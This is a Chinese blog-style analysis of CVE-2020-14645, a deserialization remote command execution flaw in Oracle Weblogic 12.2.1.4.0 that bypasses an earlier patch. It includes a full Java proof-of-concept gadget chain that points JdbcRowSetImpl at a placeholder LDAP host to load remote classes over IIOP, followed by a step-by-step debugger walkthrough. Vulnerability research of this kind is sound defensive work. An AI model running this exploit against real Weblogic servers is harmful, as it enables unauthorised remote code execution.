黑客大神的Weblogic 远程命令执行漏洞分析

前言
近期公布的关于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是对 CVE-2020-2883的补丁进行绕过 。之前的 CVE-2020-2883 本质上是通过 ReflectionExtractor 调用任意方法,从而实现调用 Runtime 对象的 exec 方法执行任意命令,补丁将 ReflectionExtractor 列入黑名单,那么可以使用 UniversalExtractor 重新构造一条利用链 。UniversalExtractor 任意调用 get、is方法导致可利用 JDNI 远程动态类加载 。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中独有的,本文也是基于该版本进行分析 。
漏洞复现
漏洞利用 POC,以下的分析也是基于该 POC 进行分析
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
//构造 UniversalExtract 调用 JdbcRowSetImpl 对象的任意方法
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};
Field[] fields = ChainedExtractor.class.getDeclaredFields();
Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");
field.setAccessible(true);
field.set(chainedExtractor,valueExtractor_list);
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa");
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello", queue);
成功弹出计算机

黑客大神的Weblogic 远程命令执行漏洞分析

文章插图
漏洞分析
了解过 JDNI 注入的都知道漏洞在 lookup() 出发,这里在 JdbcRowSetImpl.class 中 326 行 lookup() 函数处设置断点,以下为漏洞利用的简要调用链条:
黑客大神的Weblogic 远程命令执行漏洞分析

文章插图
我们从头分析,我们都知道反序列化的根本是对象反序列化的时候,我们从 IO 流里面读出数据的时候再以这种规则把对象还原回来 。我们在 in.readObject() 处打断点,跟进查看 PriorityQueue.readObject() 方法
黑客大神的Weblogic 远程命令执行漏洞分析

文章插图
这里 782 执行 s.defaultReadObject(),785 执行 s.readInt() 赋给对象输入流大小以及数组长度,并在 790 行执行 for 循环,依次将 s.readObject() 方法赋值给 queue 对象数组,这里 queue 对象数组长度为 2 。
黑客大神的Weblogic 远程命令执行漏洞分析

文章插图
接着往下跟,查看 heapify() 方法 。PriorityQueue 实际上是一个最小堆,这里通过 siftDown() 方法进行排序实现堆化,
黑客大神的Weblogic 远程命令执行漏洞分析

文章插图
跟进 siftDown() 方法,这里首先判断 comparator 是否为空
黑客大神的Weblogic 远程命令执行漏洞分析

文章插图
我们可以看看 comparator 是怎么来的,由此可见是在 PriorityQueue 的构造函数中被赋值的,在初始化构造时,除了给 this.comparator 进行赋值之外,通过 initialCapacity 进行初始化长度 。
黑客大神的Weblogic 远程命令执行漏洞分析

文章插图
comparator 不为空,所以我们执行的是 siftDownUsingComparator() 方法,所以跟进 siftDownUsingComparator() 方法 。
继续跟进 ExtractorComparator.compare() 方法
黑客大神的Weblogic 远程命令执行漏洞分析

文章插图
这里调用的是 this.m_extractor.extract() 方法,
黑客大神的Weblogic 远程命令执行漏洞分析

文章插图
来看看 this.m_extractor,这里传入了 extractor,
黑客大神的Weblogic 远程命令执行漏洞分析

文章插图
this.m_extractor 的值是与传入的 extractor 有关的 。这里需要构造 this.m_extractor 为 ChainedExtractor,才可以调用 ChainedExtractor 的 extract() 方法实现 extract() 调用 。
继续跟进 ChainedExtractor.extract() 方法,
黑客大神的Weblogic 远程命令执行漏洞分析


推荐阅读